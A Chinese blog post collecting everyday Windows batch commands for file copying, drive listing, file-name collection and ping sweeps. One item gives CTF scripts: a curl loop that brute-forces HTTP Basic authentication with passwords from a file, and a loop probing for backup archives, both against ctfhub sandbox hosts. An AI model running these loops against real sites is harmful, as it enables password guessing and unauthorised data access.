路漫漫其修远兮,吾将上下而求索

导航

批处理的个人日常使用集锦(持续更新)bat、cmd

做一个批处理的常见批量操作集合(之前的忘记写了,从现在开始一点点记下来,以前xp时代写过不少工具,有内网群扫ip并验证开机的,autorun病毒清除的,杀毒的,文件目录管理的等等)

 

chcp 65001

采用utf-8编码,支持中文,解决乱码 

  

1、复制当前目录下的1.xls到当前目录下的所有子目录中,在cmd中执行

for /f %a in ('dir /ad/b') do copy 1.xls %a

 

2、输出所有可用盘符

for /f "tokens=2,* delims= " %a in ('fsutil fsinfo drives') do echo %a %b

 另一种:

wmic logicaldisk where drivetype=3 get deviceid

 

3、批量取1.txt中的口令去爆破ctf的基本认证Basic access authentication

@echo off
for /f %%a in (1.txt) do (
  curl http://admin:%%a@challenge-b3eb165eda42bb48.sandbox.ctfhub.com:10800/flag.html 2>nul|find /i "ctfhub" 2>nul
)

@echo off
for %%a in (web website backup back www wwwroot temp) do (
  for %%b in (tar tar.gz zip rar) do (
    curl http://challenge-c527a05bcf182f1c.sandbox.ctfhub.com:10800/%%a.%%b -o %%a.%%b
    echo ============================%%a.%%b
  )
)

类似的情况!!

 

4、取当前目录(包括子目录)下所有文件名(不含文件夹)到1.txt(cmd里运行)

for /f "tokens=*" %a in ('dir /a-d/b/s') do echo %~na>>1.txt

 

5、批量从3文件中取ip并ping测试,把有回应的写入ip.txt(cmd里运行)

for /f %a in (3) do ping %a -n 1&&echo %a>>ip.txt

 

posted on 2021-06-28 23:48  爱在西元间  阅读(113)  评论(0编辑  收藏  举报